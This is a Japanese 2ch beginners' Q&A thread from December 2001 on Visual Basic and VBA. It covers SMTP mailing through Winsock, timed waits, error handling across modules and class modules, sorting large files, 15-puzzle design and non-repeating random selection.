勝手に判断はしてくれない。
有名なところでは、メモ帳はvbLfやvbCrで改行しない。

逆に、vbCrLfでダメな場合は例外的ケースで、そんなに多くないはず。
それだけ覚えておけばいい。
もちろん、いつかは仕様変更されると思う。
だから、vbNewLineを使っておけば、いちおう安心ってことね。
419質問です。:01/12/19 08:47
>>408
まあ、営業力とか問われるのは分かっています。
そう言う業界だったんですが前職。
あからさまに聞けないことも2chなら、まあ聞いてもイイかなと思いまして。
結局決めるのは自分だってのは分かってます。
420null:01/12/19 10:14
VBでメール送信バッチを作ります。
フリーのメール送信dll等も使わず、mapiを使わずに、
メール送信ってできますか?
>>420
できるっしょ
>>421
どうやってやるのか、是非教えて頂きたい。
実行中に、次の命令との時間間隔を開けたいときはどうすればいいの?

msgbox"bigin"

'たとえばここで一秒待ちたい

msgbox"end"
>>423
Timer関数使ってDo〜Loopとか。
425デフォルトの名無しさん:01/12/19 12:24
>>423
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
して
Sleep 1000
とかでどうです
>>424
>>425

さんきゅです。試してみます。
427423:01/12/19 13:38
>>424
すいません、標準モジュールから意識的にタイマーイベントを呼び出す方法を
教えて欲しいのですが。。。。

どうやったらよいのでしょうか。
>>422
Winsockコントロールを使うか、いやならAPIを使えばいい。
WSAStartup
socket
connect
send
recv
closesocket
WSACleanup
あたりを調べてみて
>>427
Timer1.Enabled=True

Form1.TIMER1_TIMER
でどうでしょうか。
430424:01/12/19 14:37
>>423
>>428-429
APIやTimerコントロール使いたくないなら

Sub main()

Dim ldblTimer As Double

MsgBox "Hoge"
ldblTimer = Timer

Do
If ldblTimer + 1# < Timer Then '1秒経過したら
Exit Do
End If
Loop

MsgBox "HogeHoge "

End Sub

正確ぢゃ無いけど。
431ひよこ名無しさん:01/12/19 15:00
情けない質問で申し訳ないのですが、
VBでテキストファイルを読み込む際、Tabも一緒に読み込むにはどうすればいいんでしょうか?
Open filename for input as #1からInputステートメントで読み込むと、
データに含まれるTabが無視されて困ってます・・・
>>431
line input
433 :01/12/19 15:21
>>422 とりあえずRFCを読んでみるとよろしいかと。

ttp://www02.so-net.ne.jp/~hat/mailer/rfc.ja.html (日本語訳)
ttp://ash.or.jp/ash/tips_prog/htm/telnet_smtp.htm

コードはこんな感じ。ものすごく単純化してあるし、まちがって
いるかもしれないので、このまま使わないでください。
あくまでも参考にということで。

------ここから
Private Sub Send()

Dim strHost As String
Dim strDomain As String
Dim strFrom As String
Dim strFromName As String
Dim strTo As String
Dim strSubject As String
Dim strData As String

With objWinsock
.RemoteHost = strHost
.RemotePort = 25
.Connect

Do While .State <> sckConnected Or Left$(mstrBuff, 3) <> "220"
DoEvents
Loop

.SendData "HELO " & strDomain & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop
434 :01/12/19 15:21
.SendData "MAIL FROM: " & mstrFrom & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "RCPT TO: " & strTo & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "DATA" & vbCrLf

Do While Left$(mstrBuff, 3) <> "354"
DoEvents
Loop

.SendData "From: " & strFromName & " <" & strFrom & ">" & vbCrLf & _
"Date: " & Format(Now, "ddd, d mmm yyyy hh:mm:ss") & " +0900 (JST)" & vbCrLf & _
"To: " & strTo & vbCrLf & _
"Subject: " & strSubject & vbCrLf & _
vbCrLf & _
strData & vbCrLf & _
"." & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "QUIT" & vbCrLf

Do While Left$(mstrBuff, 3) <> "221"
DoEvents
Loop

.Close

Do While .State <> sckClosed
DoEvents
Loop

End With

End Sub
------ここまで
435431:01/12/19 15:45
>>432
解決しました、ありがとうございました!

重ね重ねで申し訳ないのですが、
テキストボックスの文字を、特定の部分だけ色替えしたり、
強調したりする方法ってありませんか?
>>435
RichTextBox使えばー
437VB使い:01/12/19 16:10
>>435
拡張コントロールを使いたくないなら
自前で描画するしかないな。
>>433
コードまで頂き、感涙であります。
早速、試してみます。
439438:01/12/19 17:55
>>433
コードをリーダーに見せたら、もう一回お礼を言って来いと
言われました。重ねて、ありがとうございます。
>>439
文字コードの変換もお忘れなく
441デフォルトの名無しさん:01/12/19 20:15
いまさらですが、15パズルが作りたいのです。
まず、どっからやればいいんでしょうか?
教えてください
ExelとかのVBAとVisualBasicとかで作るものの差はなんですか?
VBAではここまでしかできないけどVisualBasicとかではできるとか
ありますか?
443VB使い:01/12/19 20:47
>>442
いっぱいあるけど・・・・主な所をあげると、

VBAよりVBが優れている所
・ネイティブコンパイル可能
・必要なランタイムが少ない
・APIやフォームなどが使いやすい

VBAがVBより優れている所
・Office系のデータを簡単にいじれる

てな感じ(細かい所は無視)

でもやっぱり一番の魅力はネイティブコンパイルだろうなあ。
ソフトとして発表できるし、何より速い。
444416:01/12/19 21:28
>>416

>勝手に判断はしてくれない。
>有名なところでは、メモ帳はvbLfやvbCrで改行しない。

レスありがとうございます。また舌足らずでした。
VBのプログラム中に

MsgBox "AAA" & vbLf &  "BBB"
MsgBox "AAA" & vbCr &  "BBB"

と書いても改行してくれているということを言いたかったのです。
だからvbNewLineって?と思った訳で
WindowsのVBではと書くべきでした。(Mac版もVBAはあるよね)

>vbCrLfでダメな場合は例外的ケースで、そんなに多くないはず。

昔、ラベルのキャプションがvbLFだったと聞いたことがあります。
今はvbCrLfでもOKのようですが。
そういった使い分けが知りたかったのです。

>vbNewLineを使っておけば、いちおう安心ってことね。

そうですね(^^)
445431:01/12/19 21:37
>>436
レスありがとうございます!
RichTextBoxはよく分からないんですが、頑張って勉強してみます。

>>437
自前で描画はやろうと思ったんですが、IMEが使えなくなったりと
こっとの方がトラブル多くて諦めました・・・

>>441
一例を挙げてみます。
使うコントロール:ピクチャボックス
ピクチャボックスを4×4に分割して考え、それぞれの升目にパネルを配置する。
キーボードの↓←↑→が押されたらイベントを呼び出し、空白升に隣接したパネルを動かす。
(マウスイベントでも可)
パネルがそろえば、ゲームクリア。

パネルの配置は2次元配列(4×4)を使うと良いでしょう。
あとは、パネルの配置が変わるごとに、ピクチャボックスを再描画する。

------------------------------------------------------------
[Declaration]
Option Explicit
<変数の定義>

[Form_Load()]
<乱数配列を初期化する(Randomize)>
<パネルを配置する(乱数使用)→パネルの配列(2次元)に格納>
<ピクチャボックスに描画>

[Picture1.KeyDown(...)]
select case keycode
case vbkeyleft:……
  ……
end select
<ピクチャボックスに描画>
<揃ったかどうかを判定>

画像を使う場合、BitBlt APIを使うと良いです。
分かりにくくてすみません・・・
446441:01/12/19 21:56
>>445
親切にありがとうございました。
今度、これを参考に作りたいと思います。
447デフォルトの名無しさん:01/12/19 23:53
VB6ってWindows2Kで動きますよね?
448デフォルトの名無しさん:01/12/19 23:59
いまさらですが、14、15パズルを解きたいのです。
まず、どっからやればいいんでしょうか?
教えてください
449431:01/12/20 00:24
>>448
14パズルっていうのは聞いたこと無いです。
解くっていうのは、解くプログラムを作るっていうことですか?

だとすると、まず数学的に解く必要がありそうです。
450VB使い:01/12/20 00:28
>>447
XPでも動きます。
451デフォルトの名無しさん:01/12/20 01:02
>448
15パズルの局面数は、(16!/2)通り≒10 の13 乗。
まず、8パズルぐらいからやってみろ。 (9!/2)= 181440個
452デフォルトの名無しさん:01/12/20 01:26
>>449
14⇔15パズル、しらない?
453 :01/12/20 01:27
14・15パズルってこれ?
http://www.incl.ne.jp/~hotcake/puzz15.htm
454デフォルトの名無しさん:01/12/20 01:33
14-15パズルって、15パズルの14と15を入れかえる問題。
455デフォルトの名無しさん:01/12/20 03:32
すいません、空のファイルを作りたいんですけど
本とか見てもどうもサッパリなんです。

どなたかお教授を・・・
456デフォルトの名無しさん:01/12/20 06:58
openだかなんかを宣言した時点で空(0BYTEの)のFILEが作られます。
指定した容量の空のFILEなら知りません。
457VB使い:01/12/20 08:05
>>455
0で埋めたいんならRedimかDimで好きな大きさのByte配列を宣言して
Open後Put#で書き込む。
458デフォルトの名無しさん:01/12/20 10:12
ソートについて勉強しているんですが、それについての質問です。
一度にすべてのデータをメモリに展開できないほど大きなデータがあったとして、
(たとえば100MBくらいで、中身は数値) これをソートするにはどうしたらいいのでしょうか。

少しずつ読み込んでソートしても、結局読み込んだ分の中でしかソートできず
全体としてのソートになりません。
そのような場合の考え方を教えていただければと思います。
459デフォルトの名無しさん:01/12/20 10:18
レコード長つーか、データ1この大きさと比較するキーの大きさによるな。
たとえば、100MBのデータが50MBのデータ2個で、先頭の1バイトで比較できるなら…
100バイトのデータ1M個で、100バイト全部比較しないと順序が決まらないなら…
2バイトのデータ50M個で、数値として比較できるなら…
460VB使い:01/12/20 10:28
>>458
メモリの代わりにハードディスク使うってのはどう?
461デフォルトの名無しさん:01/12/20 10:31
>>458
読めるだけ読んで -> ソート -> 一時ファイルに出力
を繰り返した後、一時ファイルをマージでどうでしょう?

#でかいデータならデータベースに格納した方がいいかもしれませんが。
関係ないけど今祭りやってるね。

【米TIME紙】田代を投票で世界一にしよう!!!

みんなそっち行ってるの?
>>458
固定長レコードのファイルなら、Putステートメント、Getステート
メントを使って隣り合った前後のレコードを読んで比較してシーク
して書き込んで・・・ってできないかい?バブルソートならロジッ
クはすこぶる簡単。
処理遅いけど。100Mだったら即死だな。DLLだけCで作ると
か・・・?
464458:01/12/20 12:32
色々ありがとうございます。
とりあえず今練習で使っているファイルには、ランダムな9桁までの正の整数が
1行に1つずつ格納しています。なので固定長ではありません。

あくまでデカ過ぎるファイルのソートについての勉強ですので、メモリではなく
HDに展開というのはダメなんです。100MBというのもたとえなので、1000GBの
データと考えてもいいです
やはりなかなか難しいものなんですね。
465デフォルトの名無しさん:01/12/20 12:39
FuncA という関数から FuncB という関数が呼ばれているとします。
FuncB で起こった実行時エラーや Err.Raise で起こしたエラーを
FuncA の On Error GoTo 〜 で検出したいのですが、うまくいきません。
どうすればよいのでしょうか?

言い換えると、FuncB 内で起こったエラーを引数や戻り値で
検出するのではなく、On Error GoTo 〜 ですべて統一的に処理したいのです。

MSDN のガイドラインには引数、戻り値、On Error のどれかに統一すべきとあったので
可能だとは思うのですが・・

質問の真意、伝わったかちょっと心配ですが、
よろしくお願いします。
466VB使い:01/12/20 12:49
>>465
FuncBでエラートラップしなかったら呼び出し元(FuncA)の
エラートラップに引っかかるはずだけど・・・
意味違うか?
467デフォルトの名無しさん:01/12/20 12:52
>>458
9桁の整数なら、1,000,000,000バイトのファイル作って、それをカウンタにするのがいいのかな。
もっと少ない、たとえば4桁とか5桁の整数なら、メモリに配列とってカウンタにしてもいいけど。
整数の場合、ソートするっつか、どの数字が何回出てきたかを数えるほうを考えてみては?
468デフォルトの名無しさん:01/12/20 12:57
>>458
100Mくらいなら、よみこめるんじゃないの?
スワップしまくりだろうけど、とりあえず動くでしょ。
>>458
ファイルを1行ずつ順に読んで一番小さなものを
ワークファイルに書き出し
また、ファイルを1行ずつ順によんで前回の一番小さい値より
大きくて、それ以外の中では一番小さい値を
ワークファイルに書き出し
あとは、繰り返し
遅いけど、できるね。
470デフォルトの名無しさん:01/12/20 12:58
あと、でかいファイルのソートっていっても、レコードが長くて、
順序付けするときに比較するデータが小さい場合は、
メモリに比較するデータへのファイルポインタと比較するデータだけ
読み込んで、それをソートするっていう手もある。
>>464
>HDに展開というのはダメなんです
メモリに入らないんなら、HDD上でやるしかないと思うのですが。
472デフォルトの名無しさん:01/12/20 13:34
>>466 さん
ふと気付いたことがあって、実験してみました。
Module1 と Class1 を用意して、
以下のコードを貼り付けて実行してみてください。
IsModule の値が True と False で結果が変わってしまいます。
なぜなんでしょうか?
473デフォルトの名無しさん:01/12/20 13:34
>>472 のサンプルプルグラム

+++Module1+++ココカラ
Private Const IsModule As Boolean = True

Sub Main()

FuncA

End Sub

Function FuncA()

Dim clsC As Class1

On Error GoTo ErrorHandler

Set clsC = New Class1

If IsModule Then
FuncB
Else
clsC.FuncC
End If

ErrorHandler:
MsgBox Err.Number & " " & Err.Source

End Function

Function FuncB()

Dim lngFoo As Long

On Error GoTo ErrorHandler

lngFoo = ""

ErrorHandler:
Err.Raise vbObjectError + 512, "FuncB"

End Function
---Module1---ココマデ

+++Class1+++ココカラ
Function FuncC()

Dim lngFoo As Long

On Error GoTo ErrorHandler

lngFoo = ""

ErrorHandler:
Err.Raise vbObjectError + 512, "FuncB"

End Function
---Class1---ココマデ
474デフォルトの名無しさん:01/12/20 13:36
>>473 はスペースミスってしまいました。

+++Module1+++ココカラ
Private Const IsModule As Boolean = True

Sub Main()

  FuncA

End Sub

Function FuncA()

  Dim clsC As Class1

On Error GoTo ErrorHandler

  Set clsC = New Class1

  If IsModule Then
    FuncB
  Else
    clsC.FuncC
  End If

ErrorHandler:
  MsgBox Err.Number & " " & Err.Source

End Function

Function FuncB()

  Dim lngFoo As Long

On Error GoTo ErrorHandler

  lngFoo = ""

ErrorHandler:
  Err.Raise vbObjectError + 512, "FuncB"

End Function
---Module1---ココマデ

+++Class1+++ココカラ
Function FuncC()

  Dim lngFoo As Long

On Error GoTo ErrorHandler

  lngFoo = ""

ErrorHandler:
  Err.Raise vbObjectError + 512, "FuncB"

End Function
---Class1---ココマデ
475デフォルトの名無しさん:01/12/20 14:51
画面に2つのコンボボックスがあり、
この2つをADO経由でグループ化させたいのですが
何か良い方法はないでしょうか?(VBAなら コンボ0.RowSource="SQL文" )

画面のコンボ1を選択すると
コンボ2には、あ1、あ2、あ3とグループ表示されます

コンボ1 あ
コンボ2 あ1
     あ2
     あ3

テーブルの定義は

フィールド1 フィールド2
あ      あ1
あ      あ2
あ      あ3

い      い1
い      い2
い      い3

となっています
476475:01/12/20 14:56
プログラムはコンボ1のセット部分だけ動きました
コンボ2は×でした

Dim itm As Variant
Dim col As Collection
Dim SQL As String
Dim strTmp As String

'コンボボックス定義
SQL = "SELECT " & TBL_コンボ_フィールド1 & " FROM " & TBL_コンボ _
& " GROUP BY " & TBL_コンボ & "." & TBL_コンボ_フィールド1 _
& " ORDER BY " & TBL_コンボ & "." & TBL_コンボ_フィールド1 & " DESC"
Set col = pclsCLS_RSAccess.RS_CmbSetting(SQL, TBL_コンボ_フィールド1)
For Each itm In col
strTmp = itm("Strg")
Cmb_Name(0).AddItem strTmp
Next
Cmb_Name(0).ListIndex = 0 <−−− コンボ1


Public Function RS_CmbSetting(ByVal SQL As String, _
ByVal strName As String) As Collection
Dim rs_01 As Recordset
On Error GoTo RS_CmbSetting_Err

      略

Do Until rs_01.EOF
RS_CmbSetting.Add AddItem(rs_01(strName))
rs_01.MoveNext
Loop

      略

End Function
477VB使い:01/12/20 15:10
>>472-474
まさかとは思うが、エラートラップの所「クラスモジュールで中断」のままにしてないよな?
「エラー処理対象外で中断」にしてるよな?

俺のとこはまったく同じになったけど。
漏れ、466じゃないんだけどさ
>>472
オプションの[全般]タブの[エラートラップ]を
「エラー処理対象外のエラーで中断」に変更してみそ
479478:01/12/20 16:03
Σ(゚д゚lll)ガーン
もうあったのか・・・
480デフォルトの名無しさん:01/12/20 16:34
>>477
>>478
Σ(゚д゚lll)ガーン
まさに其の通りでした・・・
ありがとでした。
481デフォルトの名無しさん:01/12/20 16:43
SelTextで、入力させた文を改行させるにはど〜したらいいですか?

Text.SelText=& Chr(34) & "うわーん" & vblf & "うわーん" & Chr(34) &
だと、表示が
"うわーん・うわーん"
               になってしまう

それを

"うわーん
うわーん"

にしたい。
482480:01/12/20 16:46
あの、関連したことでもひとつ質問よいでしょうか?

Func1 から Func2 を呼び、Func2 から Func3 を呼んでいるとき、
Func3 で起こった実行時エラーや Err.Raise で起こしたエラーを
Func1 の On Error GoTo 〜 で検出できるのでしょうか?

' 今、ちょうどエラー処理関係を作っている最中でして、
' エラー処理を最上位関数で一括処理をしたいと考えているのです。
' もしかすると無謀なことなんでしょうか?
>>481
"うわーん" & vbCrLf & "うわーん"
484480:01/12/20 16:47
>>481
vblf → vbNewLine でいけるかと!
485デフォルトの名無しさん:01/12/20 16:50
>>483
>>484
おぁー、両方で出来ました!
どうもありがとう。
>>481
 ちなみにわざわざ Chr(34) ってしなくてもダブルクォーテーション
重ねてもいいYO。見難くなくけど。。。

ex...
Text.SelText= """うわーん" & vbCrLf & "うわーん"""
487VB使い:01/12/20 17:51
>>482
できるよー。
でも一括処理は細かいエラートラップがしづらいしAPIのエラー処理と
別のやり方になるんで俺はめんどくさいと思う。

あと、エラー処理について詳しく知りたいなら
MSDNの「プログラミングガイド」→「コードのデバッグおよびエラー処理」か
http://www.microsoft.com/japan/developer/library/vbcon98/vbcondebuggingyourcodehandlingerrors.htm
ここをご覧あれ。
いつも思うけど、2chで最もやさしい人間の集うスレだなぁ。
489VB使い:01/12/20 21:41
>>464
結局答え出た?もし答えがあるならレスキボンヌ。プログラマーとして知っておきたい。
490デフォルトの名無しさん:01/12/20 22:53
ユーザー定義型をCOMに渡すのはどうすればいいんですか?
var型に変換できないYO〜
491デフォルトの名無しさん:01/12/21 01:11
WordのVBAなのですが、

'全選択
wdApp.Selection.WholeStory

strBuf = wdApp.Selection.Text

というように、

Docファイルの中身を全選択し、Docファイルの中身を全て取得したいのですが。
テキストボックスの中身の値は取得できません。
どうすればできますか?

ActiveDocument.Shapes("Text Box 1").Select
をしてできなくはないのですが、
VBからDocファイルを非表示で開いているので、
使えないのです。
よろしくお願いします。
492初心者:01/12/21 02:24
質問です。

最初に問題数を自分で選択できるクイズ形式のプログラムを作ろうと
思っています。問題数を選んだ後、約20の問題(フォームはバラバラ)
からランダムに問題を抽出して、回答していき最後に結果出力をしよう
と思うのですが、全体の構成はどのようにしたらいいのでしょうか?

プロジェクトファイル
  フォーム(トップ)
  フォーム(選択画面)
  フォーム(問題1)
  フォーム(問題2)
  ・・・
  フォーム(問題20)
  フォーム(結果出力)
  標準モジュール

という感じでいいのでしょうか?
それともフォルダ(?)のような役割を果たしてくれるものが
あるのでしょうか?あとランダムの発生の仕方も含めてわかりません。
493初心者:01/12/21 02:28
追加です。

トップから次のフォームに行くのに、前のフォームを消したいのですが
一つ目から二つ目にいくのに

Dim X As New Form2
X.Show
Form1.Visible = False

は、うまくいくのに次の

Dim X As New Form3
X.Show
Form2.Visible = False

は、うまくいきません。
フォーム2が消えません。
どうすればいいのでしょうか?
それとえ、そのようなケースの場合、最も一般的な
やり方をおしえてください。お願いします。
494VB厨@入門約半年:01/12/21 02:35
>>492
何故フォーム20個なの?それはナゼなの??
クイズはテキストなの?絵が必要なの?どうなの?

ランダム(乱数発生)は Rnd関数 よ!
使う前にRandomize文が必要なのは
N88-BASIC(だったっけ?)を厨学生の時に見たのと同じだわ!

あと、このレベルの質問は「プロの人たち」が見ると痒いみたいだから
sage進行でこっそりやりましょ!
>492
フォームは3個でいい。できれば1個にしとけ!
メモリ解放のやり方とか知らないだろうから、
メモリリークの元になる。
496初心者:01/12/21 02:57
>>494>>495
はい、画像使います。
20個いらないんですか?
どうやればいいのでしょう?

ちなみに参考書は
「新visual basic 入門」です。
メモリ解放というのは載っていませんでした。
あと、rnd関数というのもなかったです。
497VB厨@入門約半年 :01/12/21 04:40
>>496
フォームは1個目がイラッシャイで問題数設定で
2個目に、問題を入れ替えながら表示させて
3個目に成績を表示させる、って方針で3個が良さげ。

From2が表示される→第1問→回答ボタン押される→正誤の判定
→メッセージボックスで正誤表示→メッセージボックスOKでForm2に第2問を表示→
→回答ボタン押される→正誤の判定
っつー流れで、Form2だけで問題数の分だけ繰り返す。

あと、その本だけに頼るのはヨセ。VBのヘルプも見れ。
netの検索も良い。同じ目的のサンプルがあたったりして(゚д゚)ウマー
498デフォルトの名無しさん:01/12/21 07:02
リストボックスで質問です。
スタイルをチェックボックスにしたものを
自動でチェック付けたり消したりをしたいのです。

実際には、あるファイルのリスト一覧を表示して存在してるかを判断し、
存在してるものにはチェックを入れ、存在してないものはチェック無しとしたいのです。

List1.List(0).Checked = True みたいな感じなコマンド無いでしょうか?
>>498
List1.Selected(0) = True
500デフォルトの名無しさん:01/12/21 09:54
VBスクリプト(.vbsファイル)で質問です。
DOSのバッチからvbsを呼び出しているのですが、
WScript.Quit (x)
でxに値を入れても、常に%ERRORLEVEL%が0になってしまいます。
vbsから%ERRORLEVEL%を0にする(バッチに何らかの値を返す)方法はないのでしょうか?
ちなみにvbs内部で環境変数としてERRORLEVELの値を変更してみたのですが、
DOSバッチには引き継がれないようです。
よろしくお願いします。
501デフォルトの名無しさん:01/12/21 09:56

>>497
画像とかテキストボックスを一つ設定して、その中に
はじめはインビジブル設定にして
その都度、呼び出すということでよろしいのでしょうか?
画像は開発段階では乱立してしまうと思いますが
そういうことでしょうか?

あと、ヘルプがなんかみれません(><)
MSCD(みたいなの?)が必要って言われます。

取り合えず、今日の昼休みに本屋でいろいろ立ち
読んできます。
>>501
必要だって言われているんだから入れりゃ良いだろ。>ヘルプ

http://www.microsoft.com/japan/developer/library/default.asp
から辿っても良いが。
503sage:01/12/21 11:37
とりあえずVBやりたいという奴がいてそいつに何かいい本ない?と聞かれたので
Microsoft Visual Basic6.0 ProfessionalステップバイステップVOL.1 日経BPソフトプレス 2500円
を勧めてやりました。
かくいう私自身がこれとVOL2の活用編の2冊でだいたいの事ができるようになったし
VBについてまったく何も知らなかった私にもわかるように書いてあったので
勧めたのですが友人はダメみたいでした。友人曰く「難しすぎるっ!」そうです。
こんな友人にはどうすればいいのでしょうか?もっとわかりやすい本を薦める(これ以上初心者向けの本はしりませんが…)
VBを諦めさせるのどちらかを考えてます。
どちらがいいと思いますか?
>>503
「読書百遍(ひゃっぺん)義(ぎ)自(おのずか)ら見る」 って言葉を送るとか(藁


ちなみに「読書百篇 意 自ずから通ず」って覚えてたけど間違ってたのか...
505デフォルトの名無しさん:01/12/21 12:04
VBをはじめて1ヶ月の超初心者です。
VB6でACCESS2000のDBを使用したかったので、SP5をインストールしようと
しているのですが、うまくいきません。
セットアップは正常終了するのですが、実際にはパッチがあたって
いないようです。

おそらくSETUP.STRをインストーラが見つけ出せないのが原因と思われます。

「sp598ent.stf を、本来 stf ファイルがあるべきディレクトリにコピーします。
次に、コピーしたファイルの名前を setup.stf に変更し、Service Pack 5 の
インストールプログラム (setupsp5.exe) を再び実行します。」

と、readmeに書かれているのですが、sp598ent.strというファイルが
ダウンロードした中に見当たりません。
環境はWindows2000(SP2)です。
初心者の質問ですいませんが、できれば教えてください。
506デフォルトの名無しさん:01/12/21 12:13
アドレスちょ〜(*.wav)のインポート方法誰か知らない?
>>503
あるとしたら雑誌の扱いだと思うんだけど
真黄色の表紙の「Visual Basic スーパービギナー」ってのが
インストール開発画面の操作から始まってる、超初心者対象の本。
でっかくて見やすそうだったし。1500¥と安いし。
本の最後に用語集とかあるし
パソコン初心者レベルから、ってのならよいかも。

#ガッコの書籍部に3ヶ月ほどず〜っとある。。。
508デフォルトの名無しさん:01/12/21 12:19
>>503
VB以上に簡単な言語はない。
そういつが頭わりぃだけ。
殴っとけ。
509デフォルトの名無しさん:01/12/21 14:20
マイクから入力した音声をバイナリデータとして扱いたいのですが、
どんな関数を使ったらいいのでしょうか?参考書籍とかあったら教え
てください。よろしくおねがいします
510デフォルトの名無しさん:01/12/21 14:26
Dim a As Integer
Dim b As Integer

a = b = 0

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

がなぜa = -1, b = 0になるんでしょうか?
わーからなぁーいぃー♪
>510
 ネタでも答えてみるか。
 まず b は宣言されて初期値が 0 だから b は 0 。
 そんで a には b = 0 を評価した値 True (= -1) が入っている。
 試しに a = b = 0 の前に b = 10 とかやってみれ。
512VB使い:01/12/21 14:34
>>509
まあ、MCIが一番いいかと。
http://www.google.com/search?q=mci+api+Basic+%98%5E%89%B9&hl=ja
検索してみたんですきなものをどうぞ。
パワフルテクニック・・・が個人的に好き。VB6のやつもあったはず。

>>506
CSV使っとけ。

>>510
a=(b=0)
513デフォルトの名無しさん:01/12/21 14:47
>>511
trueって-1なのか!
にゃーるほーどねぇー。
514デフォルトの名無しさん:01/12/21 14:49
論理notと算術notが同じ結果になるからね
515509:01/12/21 14:59
>>512 VB使いさん
ありがとうございます!早速やってみます
お世話になりました
>>513
 ネタでも答えてみるか。
 必ずしも True = -1 ではない。
 True は 0 以外ならなんでも True。逆に False は絶対 0。
 ex...
 CBool(1)
CBool(999)
 CBool(-555)
 これ全部 True 。
517デフォルトの名無しさん:01/12/21 15:14
Trueが-1なのと0以外は真なのを、わけて考えようぜ
518516:01/12/21 15:15
補足:
 CInt(True)ってやると -1 が帰ってくるが、
 これがVBでの True の デフォルト値?なだけ?
519516:01/12/21 15:18
>>517
 同意。軽はずみだったかも。
 -1 は True、0 は False。それ以外は False 以外。
 つまり Boolean型は True/False しか表せないので、
 False 以外で True を返しちまえっていう
 CBool関数の仕様なのかも。。。ゴメソ。
520age:01/12/21 15:35
age
>>499
ありがとうございます。
調べる力が欠けてました(汗
522デフォルトの名無しさん:01/12/21 23:10
>505
エンタープライズ版のVB6使ってる?

>518
ほかの言語だと、True=1だったりする。
たしかVBでもバージョンによって違ってたり。
523関係ないけど:01/12/22 17:32
友人にVBより簡単な言語ない?って聞かれました…
その時とても鬱な気分になりました。
私はHTMLでもやれば?と言ったら馬鹿にしてるのかっ!って逆ギレされました。
HTMLを言語というのかどうかは分かりませんが俺の中ではHTMLとVBの難しさは同レベルなのですが
VBより簡単な言語ってあります?
524 :01/12/22 17:37
>>523
ひまわり

HTMLのLは言語のL
525VB使い:01/12/22 18:09
>>523
ぴゅう太
>523
マシン語でも勧めてやれよ。
言語仕様はこれが一番簡単だよって(ワラ
527デフォルトの名無しさん:01/12/22 21:44
>523
ファミリーベーシック
CXBXL
529VB使い:01/12/22 23:15
>>523
アセンブラ。(半分マジ)
簡単さの意味が違うが結構ハマるかも。
530ひどいよマイクロソフト:01/12/22 23:47
そんな君達にDelphiです。
フリーで試せるし。
531俺だけじゃないよね:01/12/22 23:49
今日会社の結構偉い人(こいつはろくにメールも出せない)に
「君は本を見ないとプログラムもできんのかね?」
と言われた。
まさかコマンドを全て覚えるなんて不可能だろうし…
もしかしてみんなはプログラムとか組むときに本とか全然見ずに
書いてる?
532VB使い:01/12/23 00:04
>>531
MSDNは見る。APIなんか全部覚えられんよ。
つか、リファレンスは誰でも見るでしょ。
まぁ本だとコピペとかできないし邪魔だから、基本的にオンラインヘルプ
だけど。
>>531
逆に覚えてる奴ってやばい気がする。
「こんなのがあったな」ってのを覚えておけば十分だろ
たまにいるよな。関数マニア(藁
リファレンスとかが1つのCDに納められてるものとかないの?
537デフォルトの名無しさん:01/12/23 08:45
そりゃもちろん全部覚えていて使いこなせるのが理想だが
こんなのがあったなってのを覚えておいて
それを書籍なりMSDNあたりから探せる能力があればいい。
538デフォルトの名無しさん:01/12/23 10:47
>537
確かにな…
中途半端に覚えていて適当に無理だと判断するより
ちゃんと検索してさがせる能力があったほうがいいです
539デフォルトの名無しさん:01/12/23 11:15
>>531
その人晒し上げ
540デフォルトの名無しさん:01/12/23 23:13
1〜15の中から5つ適当に選ぶ関数はどのように記述すればいいのでしょうか?
どなたかおしえていただけないでしょうか?
>>540
重複していいの?
542デフォルトの名無しさん:01/12/23 23:20
ダメでお願いします。
543デフォルトの名無しさん:01/12/23 23:20
>540
いくら初心者質問スレとは言っても検索くらいはしたよね?
544デフォルトの名無しさん:01/12/23 23:24
しました。
これだと、重複アリですよね?
ナシのときがちょっとわからなくて・・・

Rnd 関数の使用例
次の例は、Rnd 関数を使って、1 から 6 までの乱数整数を発生させます。

Dim MyValue
MyValue = Int((6 * Rnd) + 1) ' 1 から 6 までの乱数整数を発生させます。


--------------------------------------------------------------------------------
http://www.microsoft.com/JAPAN/developer/library/Vbenlr98/vafctrndx.htm
>>540
こう言うアルゴリズムを自分で考えることで力がつくんだと思うYO
どうでもいいけど。
n = 5; m = 15;
for(i = 1; i <= 15; i++){
 if(乱数() < n/m){ // 乱数()は0から1を出力
  // iを選択。
  選択(i);
  n = n - 1;
 }
 m = m - 1;
}

VBよく知らないけど、
C風に書けばこんな感じでできると思う。
547仕様書無しさん:01/12/23 23:57
>>540
重複したら捨てる(w
以上
548デフォルトの名無しさん:01/12/24 00:02
>540
1〜15をいったん配列に入れて、シャッフルすれば、重複しない。
>>548
シャッフルの回数は?
論理的な基準ありますか?
550デフォルトの名無しさん:01/12/24 00:16
シャッフルして前から5つとればOKってのはかなりいいかも。
おれもそういう機会があったら使わせてもらうYO
>>550
おーい、はじめの配列に入れる順序と
シャッフルの回数はどうするんだよー
それでホントにちゃんとランダムになるのかよー

#540はランダムにしろとは言っていないが(^^;
552492です:01/12/24 03:43
>>493はどなたかおわかりにならないでしょうか・・・?

それと、今>>497みたいな感じでプログラム組んでいるのですが、
問題のところで、コマンドを一つにして、回答と次の問題を同時に
こなすようにしています。
が、一問目ではテキストボックス等全部空なので、はじめは
空の状態でコマンドを押さなければなりません。
コマンド_クリック ではなくてはじめからプログラムが
実行されるようにするにはどうしたらいいのでしょうか?
フォーム_アクティベイト
フォーム_ロード
ではうまくいきませんでした。
どなたかお願いいたします。
>>549,>>551
乱数の質にもよるけど、要素数と同じ回数だけ入れ替えを行えば大丈夫。
経験的な基準ですが。
入れ替える要素の両方の添え字をランダムに選ぶんじゃなくて、片方は順番に選び、
もう片方はランダムに選ぶっていう方法もある。そっちのほうが確実にバラけると思われ。
言葉だとわかりにくいと思うのでコード例でどうぞ。

Dim Num(1 to 15) As Integer
Dim Tmp As Integer
Dim i As Integer
Dim j As Integer

For i = 1 To 15
  Num(i) = i
Next i

For i = 1 To 15
  j = Int(Rnd(1) * 15) + 1
  Tmp = Num(i)
  Num(i) = Num(j)
  Num(j) = Tmp
Next j
>>553
要素数と同じ回数だと半分くらいの要素が
元の位置から動かないような気がします。

